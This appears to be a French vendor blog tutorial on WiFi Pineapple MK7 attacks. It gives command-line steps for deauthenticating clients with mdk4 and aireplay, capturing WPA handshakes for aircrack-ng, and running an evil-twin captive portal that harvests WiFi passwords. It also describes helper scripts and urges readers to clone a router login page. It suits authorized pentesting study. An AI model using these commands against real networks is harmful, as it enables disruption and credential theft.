Installer :opkg install screen

Ici, je vais vous expliquer comment faire cela en CLI uniquement :

  1. Démarrez miniairo ou airodump-ng :

airodump-ng :airodump-ng --channel CHAN --bssid BSSID wlan1mon.

miniairo :./miniairo -i wlan1mon -c CHAN -b BSSID.

  1. Localisez votre client cible et copiez le BSSID.

  2. Démarrez une nouvelle session d'écran : screen -S capture.

  3. Démarrez airodump-ng ou miniairo :

airodump-ng :airodump-ng --channel CHAN --bssid BSSID --write demo wlan1mon.

miniairo :./miniairo -i wlan1mon -c CHAN -b BSSID -T 120 -W demo.

Le drapeau "-T 120" dans miniairo quittera le script après 2 minutes, ce qui devrait être suffisant, mais augmentez ce délai si nécessaire.

  1. Une fois le script lancé, déconnectez la session écran en utilisant la combinaison de touches "CTRL+a d".
  2. Lancez mdk4, deauther ou airedeauth :

mdk4 :mdk4 wlan1mon d -c CHAN -S STA_BSSID -s 1.

deauther :./deauther -i wlan1mon -c CHAN -s STA_BSSID -d 5 -w 1 -r 1 -p 1.

airedeauth :./airedeauth -i wlan1mon -a AP_BSSID -s STA_BSSID -c CHAN.

  1. Une fois que le client est désauthentifié, nous pouvons revenir à notre session d'écran et attendre la poignée de main en utilisant screen -r capture.
  2. Une fois que la poignée de main a eu lieu et que nous voulons quitter la session écran, nous pouvons utiliser "CTRL+C" pour terminer miniairo ou airodump-ng, et ensuite taper exit pour fermer l'émulateur de terminal.
  3. Vérifiez que la poignée de main contient les paquets nécessaires.

Cette méthode, si le temps n'est pas un facteur essentiel, suit ces simples instructions, c'est la meilleure et la moins odieuse façon de capturer les poignées de main et c'est ma méthode préférée. La clé de cette méthode est de ne pas être pressé de capturer votre poignée de main et d'attendre patiemment. Un échange de clés normal finira par avoir lieu.

  1. Dans l'interface Web, cliquez sur l'onglet Recon.
  2. Réglez la durée de l'analyse sur 5 minutes.
  3. Lancez le scan et laissez la liste se remplir.
  4. Une fois le scan terminé, cliquez sur Target AP.
  5. Cliquez sur "Capture WPA Handshakes".
  6. Cliquez sur "Start Capture".
  7. Buvez un verre et attendez patiemment une poignée de main.

Nous pouvons également utiliser bpineap pour faire cela dans le CLI :

./bpineap start_handshake_capture AP_BSSID CHANNEL

Une fois que nous avons capturé la poignée de main, nous pouvons exécuter un test sur la poignée de main capturée pour nous assurer que nous avons les paquets nécessaires pour qu'aircrack effectue une récupération de mot de passe réussie en fournissant le bon mot de passe.

Pour ce faire, nous pouvons utiliser ce qui suit :

aircrack-ng -a 2 -c CHANNEL -b BSSID -w EMPTYFILE.txt demo.cap

Si vous obtenez un message d'erreur autre que "KEY NOT FOUND", c'est que vous n'avez pas les paquets nécessaires pour réussir une tentative de craquage de mot de passe avec le portail captif, et vous devriez essayer de capturer à nouveau la poignée de main si possible.

Cependant, si vous obtenez simplement :

KEY NOT FOUND

alors vous avez les paquets nécessaires pour que cela fonctionne.

NOTE : Il y a de nombreuses raisons pour lesquelles aircrack peut ne pas trouver les paquets requis. Il est donc préférable de capturer plus que les messages EAPOL, vous pouvez nettoyer la poignée de main un peu plus bas en utilisant wireshark sur une autre machine.

(Facultatif) Nettoyage de la capture avec Wireshark :

REMARQUE : Vous devrez effectuer cette opération sur une autre machine capable d'ouvrir wireshark.

Vous pouvez nettoyer votre capture en ouvrant simplement le fichier .cap et en tapant :

wlan.sa == AP-MAC && wlan.da == STA-MAC || wlan.da == AP-MAC && wlan.sa == STA-MAC || wlan.fc.type_subtype == 0x0008

En remplissant les valeurs de STA-MAC avec le BSSID de vos stations cibles et AP-MAC avec le BSSID de vos points d'accès, vous remarquerez également que nous utilisons les opérateurs logiques AND et OR ici aussi !

Nous devons ensuite maintenir la touche CTRL enfoncée et cliquer avec le bouton gauche de la souris sur la balise contenant le SSID des points d'accès cibles et les 4 messages clés EAPOL destinés au point d'accès et à une station.

Cliquez ensuite sur "File" > "Export Specified Packets" > "Selected packets only".

N'oubliez pas d'utiliser l'extension de fichier .cap.

Vous pouvez également spécifier une plage de paquets à exporter, par exemple dans mon fichier demo.cap fourni, j'ai exporté des paquets spécifiques à partir d'une plage de 719-923. Le résultat a ensuite été affiné par la sélection manuelle d'une seule réponse de sonde + les 4 clés EAPOL initiales.

Ceci conclut la section sur le portail captif , n'oubliez pas de changer le BSSID dans le fichier auther.sh pour qu'il pointe vers le BSSID de votre cible.

Ce que vous voudrez/devrez changer :

  1. $essid sur les pages default.php, incorrect.php, et correct.php
  2. BSSID dans auther.sh (obligatoire)
  3. CAP_LOC dans auther.sh si vous prévoyez d'utiliser un nom ou un chemin différent. (Obligatoire)
  4. image d'arrière-plan dans style.css
  5. image du logo sur les pages default.php et incorrect.php.

Vous êtes arrivé jusqu'ici, alors voici quelques gâteries !

En plus de vous fournir le portail captif (que vous êtes libre d'éditer comme bon vous semble), j'ai créé quelques scripts bash utilisant ChatGPT et j'ai fait moi-même quelques ajustements personnalisés qui m'ont aidé pendant la réalisation de tous ces tests.

En guise de remerciement, j'aimerais les partager avec vous, mais commençons par le commencement.

AVIS DE NON-RESPONSABILITÉ :

Gardez à l'esprit qu'il ne s'agit pas d'un travail entièrement bien fait. Il peut aussi y avoir des bugs potentiels, mais ils effectuent les opérations pour les tâches prévues !

A utiliser à vos risques et périls !

Moi-même (amec0e) et LAB401 n'assumons aucune responsabilité en cas de mauvaise utilisation ou de conséquences involontaires résultant de l'utilisation de ces outils.

Ces outils sont fournis dans l'attente que les utilisateurs se conforment à toutes les lois et réglementations applicables. Ils sont destinés à des fins éducatives et de recherche uniquement.

Veuillez noter que moi-même (amec0e) et Lab401 ne fournissons PAS de support pour ces outils.

Ceci étant dit, voici la liste :

macspoof :Comme son nom l'indique, utilise macchanger -r pour l'aléatoire ou permet une entrée manuelle. Vous avez le choix entre trois options : wlan1, wlan3 (si vous avez l'adaptateur MK7AC ou une carte compatible), wlan2. Ceci utilise également "monitor_vif" pour préparer les interfaces virtuelles comme le fait pineapple lorsque vous sélectionnez une interface recon à partir de l'interface web de pineapples, ainsi vous avez les interfaces wlan3 et wlan3mon au lieu d'une seule.

miniairoC'est une petite enveloppe autour de la commande airodump-ng car il y a des options que j'aime utiliser souvent (uptime, manufacturer, wps) mais je voulais être un peu paresseux et ne pas avoir à taper toutes les commandes dans leur intégralité à chaque fois. Il existe un menu d'aide.

gather_probesCette commande prend le fichier log.db de l'activité, le copie dans tmp et extrait les ESSID et BSSID du log en utilisant sqlite3-cli. Il utilise ensuite "sort" et "uniq" et produit un fichier appelé probes1.txt (cela crée un nouveau répertoire appelé gprobes dans root et incrémente les noms des fichiers de sortie). Ceci est utile pour vérifier les victimes potentielles d'attaques karma ainsi que les nouveaux SSIDs qui ne sont peut-être pas dans votre SSID Pool. Vous pouvez également exclure des ESSID du fichier de sortie en utilisant un fichier d'entrée d'ESSID (un par ligne).

sort_probesCette fonction est similaire à la précédente, mais elle combine les sondes, elle utilise sort et uniq sur tous les fichiers de sondes* dans le répertoire (/root/gprobes/probes*), ce qui permet de trier les sorties de plusieurs sondes en une seule afin que vous puissiez combiner votre liste de sondes cibles. Si vous en avez plusieurs (ce que gather_probes fera), il produira et écrasera le fichier appelé "sorted_probes.txt", assurez-vous donc de ne pas effacer toutes vos sondes à moins que vous ne le souhaitiez. Vous pouvez également renommer sorted_probes.txt en "probes_99.txt" et l'ajouter à gprobes avant de procéder à un nouveau tri.

NOTE : Si vous avez un problème avec gather_probes, assurez-vous que vous avez installé sqlite3-cli et que votre libsqlite3 est de la même version. Vous pouvez utiliser la commande suivante pour vérifier les mises à jour et installer la dernière version de libsqlite3.

opkg update opkg install libsqlite3

MDK4E ModuleJe ne veux en aucun cas enlever du crédit à l'auteur original car il m'a donné une excellente base de travail. Ici, j'ai édité et ajouté 3 nouvelles options pour travailler avec l'interface WebUI. -B -E et -S (AP BSSID, ESSID et Station BSSID). Auteur du module : newbi3 (Désolé, je n'ai pas trouvé de lien social !)

MACInfoEncore une fois, je ne veux pas enlever de crédit à l'auteur original, c'est un module fantastique. Cela dit, j'ai utilisé Prompt Engineering ici pour réécrire le module.py qui opère ce module pour permettre une meilleure recherche des OUIs complets au lieu d'être limité aux 3 premiers octets et d'utiliser la liste des OUIs par défaut de pineapples (ce qui est bien mais je voulais plus). Cela inclut également toute la base de données OUI de Maclookup.app à utiliser avec cela, ce qui permet d'avoir une base de données OUI Macinfo beaucoup plus étendue. La partie en ligne a également été complètement supprimée car le site avec lequel elle essayait de communiquer ne fonctionnait pas lors des recherches et je ne voulais pas le réparer alors que nous avons une base de données bien plus importante qu'auparavant. Auteur du module : KoalaV2

Process_MAL_Only.py (Upgraded OUI List for Recon) Ici j'ai étendu la liste des OUI par défaut de Pineapples, cela utilise la base de données des OUI de Maclookups et convertit les caractères accentués pour conserver la lisibilité et supprimer les choses telles que l'unicode. Elle n'utilise toujours que les 3 premiers octets (00:11:22) mais comparée à la taille par défaut de Pineapples qui est de 1.1mb, Maclookups est de 1.8mb. Il y a beaucoup plus d'entrées. Ce qui peut être vérifié en utilisant jq -c 'keys_unsorted | length' youfile.json, vous pourriez avoir besoin de l'installer d'abord opkg install jq.

Process_MLA_Complete.pyC'est ce qui m'a permis de prendre le fichier CSV de Maclookup et d'extraire la dernière base de données des OUI pour l'utiliser dans le module MACInfo. Assurez-vous simplement que lorsque vous remplacez le MACInfo "MLA_OUI_COMPLETE", vous le renommez exactement comme cela.

deautherJe suis assez fier de celui-ci et j'ai travaillé avec ChatGPT pendant un long moment pour le faire fonctionner comme prévu. Il utilise MDK4 pour désauthentifier, la magie est que vous pouvez spécifier une liste de BSSIDs de stations ou une liste de BSSIDs d'AP avec des numéros de canaux dans une liste et il changera le canal en conséquence pour chaque cible. Il vous permet de définir une durée d'exécution, le temps d'attente entre les tentatives d'attaque, le nombre de fois où l'attaque doit être répétée sur une cible et vous permet de définir le nombre de paquets par seconde. Vous pouvez également spécifier un seul AP ou STA BSSID si vous le souhaitez, et l'utilisation de -c remplacera les canaux définis dans les fichiers cibles qui sont au format : BSSID,CHANNEL. Je recommande de jeter un coup d'œil au menu d'aide.

bpineapC'est un outil que ChatGPT m'a aidé à réaliser. Il vous permet d'ajuster toutes les options que vous trouveriez en utilisant uci show pineap moins l'ap_interface qui ne fonctionne pas correctement à cause d'autres facteurs en jeu. Ceci utilise uci pour définir ces options temporairement et redémarre ensuite pineapd pour s'assurer que les changements sont pris en compte. Vous pouvez également afficher un scan, arrêter un scan et démarrer un scan en utilisant les options cli pineap. Cela permet juste de gagner du temps en tapant ou en copiant-collant la ligne uci à éditer.

AirPort Captive PortalJe pense que celui-ci n'a plus besoin d'être présenté :D

check_handshakesC'est un petit script que j'ai fait pour vérifier les handshakes capturés par WiFi Pineapple et vérifier leur état en fonction d'un certain nombre de conditions. Utilisez le -h avec celui-ci pour consulter le menu d'aide.

airedeauthSimilaire à deauther sauf qu'il s'agit d'une enveloppe autour de aireplay-ng, il est plus adapté pour cibler les stations avec un nombre spécifique de groupes de paquets.

capture_handshakesCette fonction utilise une simple boucle pour prendre une liste de BSSIDs et de numéros de canaux en entrée et lance une à une pineap handshake_capture_start et pineap handshake_capture_stop. Cela vous permet de démarrer une capture de handshake dédiée de la même manière que vous le feriez en utilisant l'interface WebUI, pour simplement arrêter et démarrer la capture de handshakes pour différents BSSIDs sur différents canaux. En utilisant cette fonction avec l'écran, vous pouvez lancer une capture de poignée de main pendant 24 heures en ciblant les points d'accès sélectionnés sur les canaux correspondants.

Téléchargements :

  • Vous pouvez télécharger les MK7Scripts ici.
  • Vous pouvez télécharger les MK7Modules ici.
  • Vous pouvez télécharger le Portail Captif ici.

Astuce : Si vous voulez être capable d'autocompléter les commandes par tabulation, mettez-les dans /bin/, cela vous permettra d'autocompléter la commande en appuyant sur la touche tabulation.

L'ananas WiFi vaut-il son prix ?

Le WiFi Pineapple est adapté à ce qu'il fait de mieux, à savoir l'audit WiFi et la détection d'un point d'accès malhonnête branché sur le réseau cible. Ce n'est qu'un des nombreux outils qui peuvent constituer une petite partie de la boîte à outils d'un pentesters professionnel.

Vous pourriez dire que vous pouvez faire la même chose avec un raspberry pi et vous auriez raison de le penser, cependant le temps et le coût qu'il faudrait pour installer l'équivalent de ce que vous obtenez avec le WiFi pineapple dépasserait le temps et le coût d'un WiFi pineapple (Après tout quand vous êtes sur un travail, le temps c'est de l'argent).

La réponse est donc oui, cela vaut vraiment le coup si vous en avez besoin.

L'ananas WiFi est-il toujours d'actualité en 2024 ?

Bien que le WiFi ne soit plus ce qu'il était il y a 10 ans, beaucoup de failles faciles ont été corrigées et fermées, mais il y a encore beaucoup de routeurs qui sont datés ou qui ont de mauvaises implémentations ou de mauvaises configurations.

Des éléments tels que DNS-Over-Https, DNS Caching, HSTS, HTTPS-Everywhere ont rendu beaucoup d'attaques plus anciennes irrévérencieuses, mais la capture de handshakes et le cracking sont toujours d'actualité et le resteront pendant un certain temps.

En effet, il existe encore de nombreux appareils qui ne supportent pas le protocole WPA3 (y compris les caméras, comme nous l'avons découvert dans mon précédent article sur la désauthentification). Bien qu'avec le portail captif, cela vous donne une autre méthode d'attaque pour tenter d'obtenir des informations d'identification.

Ceci étant dit, tout cela signifie qu'avec le WiFi Pineapple, vous devrez être beaucoup plus créatif avec vos attaques et vos techniques tout en comprenant les limites de l'appareil.

Vous serez probablement amené à personnaliser votre Pineapple, que ce soit avec des scripts, des modules, des bases de données OUI étendues, des portails, etc.

La plupart des clients vous donneront probablement une position "supposée violée" à tester, auquel cas vous aurez besoin d'un ordinateur portable équipé des outils dont vous avez besoin pour effectuer le travail. Ainsi que d'autres outils physiques, qu'il s'agisse de câbles O.MG ou d'implants, tout ce dont vous avez besoin pour effectuer le travail. Pour répondre à la question, oui, l'ananas WiFi est toujours d'actualité si vous en avez besoin.

Conclusion.

Bien que le portail captif que nous avons créé ici puisse sembler simple, il y a beaucoup de choses qui se passent et, bien sûr, pour des raisons juridiques, je n'allais pas essayer de montrer comment créer une page d'hameçonnage réaliste.

J'espère cependant vous avoir fourni toutes les informations dont vous auriez besoin pour personnaliser les visuels ou les opérations dans le cadre de vos propres engagements.

En guise de dernier défi, je vous invite à essayer de créer votre propre portail captif : Essayez de créer votre propre portail captif en utilisant la page de connexion de votre routeur domestique et des éléments tels que des images, des fichiers css, etc. Parfois, ce sont de simples ajustements qui doivent être faits, et avec les outils de développement des navigateurs. Parfois, ce sont de simples ajustements qui doivent être faits, et avec les outils de développement des navigateurs, vous aurez toutes les options de style pour recréer une page de connexion de routeur réaliste en tant que portail captif.

J'espère vraiment que vous avez apprécié cet article, j'ai pris beaucoup de plaisir à jouer avec le Pineapple et à le personnaliser. J'ai également réalisé ce portail d'aéroport dont je suis très satisfait car j'adore l'idée du portail maléfique avec poignée de main d'Airgeddon. J'ai également eu beaucoup de plaisir et de maux de tête à les créer !

Vous pouvez acheter le WiFi Pineapple MK7 chez LAB401 en utilisant mon code de réduction : AMEC0E ou en cliquant sur le lien ici.

Ressources :

Article précédent LightMessenger : Débogage en profondeur avec Derek
Articles suivant Plongez dans le Fuzzing RFID avec Flipper Zero, l'application de fuzzing RFID.

Laisser un commentaire

Les commentaires doivent être approuvés avant d'apparaître

* Champs obligatoires